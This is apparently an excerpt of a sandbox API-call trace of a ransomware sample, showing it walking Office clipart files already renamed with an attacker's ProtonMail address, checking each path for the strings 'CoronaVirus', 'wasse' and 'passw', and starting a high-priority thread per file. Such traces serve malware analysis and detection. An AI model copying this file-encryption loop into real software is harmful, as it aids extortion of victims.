	[0092.818] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="wasse") returned 0x0
	[0092.818] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="passw") returned 0x0
	[0092.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878
	[0092.819] SetThreadPriority (hThread=0x878, nPriority=15) returned 1
	[0092.825] malloc (_Size=0x1000) returned 0x51f60a0
	[0092.825] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00163_.gif") returned 97
	[0092.825] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.825] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="wasse") returned 0x0
	[0092.827] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="passw") returned 0x0
	[0092.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c
	[0092.828] SetThreadPriority (hThread=0x89c, nPriority=15) returned 1
	[0092.845] malloc (_Size=0x1000) returned 0x51f5098
	[0092.845] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00164_.gif") returned 97
	[0092.845] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.845] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="wasse") returned 0x0
	[0092.845] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="passw") returned 0x0
	[0092.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c
	[0092.846] SetThreadPriority (hThread=0x86c, nPriority=15) returned 1
	[0092.848] malloc (_Size=0x1000) returned 0x51f3088
	[0092.851] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00165_.gif") returned 97
	[0092.851] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.852] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="wasse") returned 0x0
	[0092.855] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="passw") returned 0x0
	[0092.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830
	[0092.856] SetThreadPriority (hThread=0x830, nPriority=15) returned 1
	[0092.864] malloc (_Size=0x1000) returned 0x51f3088
	[0092.864] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00167_.gif") returned 97
	[0092.864] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.864] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="wasse") returned 0x0
	[0092.864] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="passw") returned 0x0
	[0092.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928
	[0092.865] SetThreadPriority (hThread=0x928, nPriority=15) returned 1
	[0092.866] malloc (_Size=0x1000) returned 0x51f5098
	[0092.868] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00169_.gif") returned 97
	[0092.869] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.869] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="wasse") returned 0x0
	[0092.871] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="passw") returned 0x0
	[0092.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868
	[0092.872] SetThreadPriority (hThread=0x868, nPriority=15) returned 1
	[0092.873] malloc (_Size=0x1000) returned 0x51f3088
	[0092.878] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00170_.gif") returned 97
	[0092.878] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.878] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="wasse") returned 0x0
	[0092.878] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="passw") returned 0x0
	[0092.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4
	[0092.879] SetThreadPriority (hThread=0x7e4, nPriority=15) returned 1
	[0092.886] malloc (_Size=0x1000) returned 0x51f0070
	[0092.886] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00171_.gif") returned 97
	[0092.886] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.886] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="wasse") returned 0x0
	[0092.886] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="passw") returned 0x0
	[0092.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4
	[0092.887] SetThreadPriority (hThread=0x8a4, nPriority=15) returned 1
	[0092.891] malloc (_Size=0x1000) returned 0x51f3088
	[0092.891] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00172_.gif") returned 97
	[0092.891] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.891] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="wasse") returned 0x0
	[0092.891] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="passw") returned 0x0
	[0092.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4
	[0092.894] SetThreadPriority (hThread=0x8f4, nPriority=15) returned 1
	[0092.897] malloc (_Size=0x1000) returned 0x51f60a0
	[0092.900] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00174_.gif") returned 97
	[0092.902] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.902] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="wasse") returned 0x0
	[0092.902] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="passw") returned 0x0
	[0092.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948
	[0092.903] SetThreadPriority (hThread=0x948, nPriority=15) returned 1
	[0092.906] malloc (_Size=0x1000) returned 0x51f0070
	[0092.906] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00175_.gif") returned 97
	[0092.906] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.907] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="wasse") returned 0x0
	[0092.909] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="passw") returned 0x0
	[0092.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910
	[0092.909] SetThreadPriority (hThread=0x910, nPriority=15) returned 1
	[0092.913] malloc (_Size=0x1000) returned 0x51f3088
	[0092.915] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00176_.gif") returned 97
	[0092.915] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.915] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="wasse") returned 0x0
	[0092.915] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="passw") returned 0x0
	[0092.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8
	[0092.916] SetThreadPriority (hThread=0x7c8, nPriority=15) returned 1
	[0092.925] malloc (_Size=0x1000) returned 0x51f4090
	[0092.926] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10890_.gif") returned 97
	[0092.926] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.926] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="wasse") returned 0x0
	[0092.926] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="passw") returned 0x0
	[0092.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c
	[0092.926] SetThreadPriority (hThread=0x81c, nPriority=15) returned 1
	[0092.928] malloc (_Size=0x1000) returned 0x51f1078
	[0092.931] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10972_.gif") returned 97
	[0092.931] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.931] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="wasse") returned 0x0
	[0092.935] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="passw") returned 0x0
	[0092.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838
	[0092.940] SetThreadPriority (hThread=0x838, nPriority=15) returned 1
	[0092.942] malloc (_Size=0x1000) returned 0x51f3088
	[0092.946] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19563_.gif") returned 97
	[0092.946] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.947] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="wasse") returned 0x0
	[0092.949] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="passw") returned 0x0
	[0092.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860
	[0092.950] SetThreadPriority (hThread=0x860, nPriority=15) returned 1
	[0092.956] malloc (_Size=0x1000) returned 0x51f0070
	[0092.957] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19582_.gif") returned 97
	[0092.959] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.959] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="wasse") returned 0x0
	[0092.959] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="passw") returned 0x0
	[0092.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964
	[0092.960] SetThreadPriority (hThread=0x964, nPriority=15) returned 1
	[0092.961] malloc (_Size=0x1000) returned 0x51f80b0
	[0092.965] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 126
	[0092.968] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.968] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="wasse") returned 0x0
	[0092.968] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="passw") returned 0x0
	[0092.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f80b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810
	[0092.968] SetThreadPriority (hThread=0x810, nPriority=15) returned 1
	[0092.970] malloc (_Size=0x1000) returned 0x51f4090
	[0092.972] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 126
	[0092.973] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.976] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="wasse") returned 0x0
	[0092.976] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="passw") returned 0x0
	[0092.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4
	[0092.976] SetThreadPriority (hThread=0x8b4, nPriority=15) returned 1
	[0092.978] malloc (_Size=0x1000) returned 0x51f0070
	[0092.980] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 126
	[0092.980] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.983] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="wasse") returned 0x0
	[0092.983] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="passw") returned 0x0
	[0092.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c
	[0092.983] SetThreadPriority (hThread=0x96c, nPriority=15) returned 1
	[0092.993] malloc (_Size=0x1000) returned 0x51f3088
	[0092.993] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 126
	[0092.993] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.993] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="wasse") returned 0x0
	[0092.993] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="passw") returned 0x0
	[0092.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968
	[0092.993] SetThreadPriority (hThread=0x968, nPriority=15) returned 1
	[0092.999] malloc (_Size=0x1000) returned 0x51f0070
	[0092.999] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 126
	[0092.999] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.999] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="wasse") returned 0x0
	[0092.999] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="passw") returned 0x0
	[0092.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988
	[0093.004] SetThreadPriority (hThread=0x988, nPriority=15) returned 1
	[0093.006] malloc (_Size=0x1000) returned 0x51f3088
	[0093.008] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 126
	[0093.008] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.010] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="wasse") returned 0x0
	[0093.011] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="passw") returned 0x0
	[0093.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984
	[0093.011] SetThreadPriority (hThread=0x984, nPriority=15) returned 1
	[0093.015] malloc (_Size=0x1000) returned 0x51f1078
	[0093.016] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 126
	[0093.018] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.018] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="wasse") returned 0x0
	[0093.018] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="passw") returned 0x0
	[0093.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c
	[0093.019] SetThreadPriority (hThread=0x98c, nPriority=15) returned 1
	[0093.020] malloc (_Size=0x1000) returned 0x51f5098
	[0093.022] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 126
	[0093.022] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.026] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="wasse") returned 0x0
	[0093.026] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="passw") returned 0x0
	[0093.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994
	[0093.026] SetThreadPriority (hThread=0x994, nPriority=15) returned 1
	[0093.034] malloc (_Size=0x1000) returned 0x51f1078
	[0093.034] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 126
	[0093.034] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.034] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="wasse") returned 0x0
	[0093.034] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="passw") returned 0x0
	[0093.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990
	[0093.035] SetThreadPriority (hThread=0x990, nPriority=15) returned 1
	[0093.039] malloc (_Size=0x1000) returned 0x51f3088
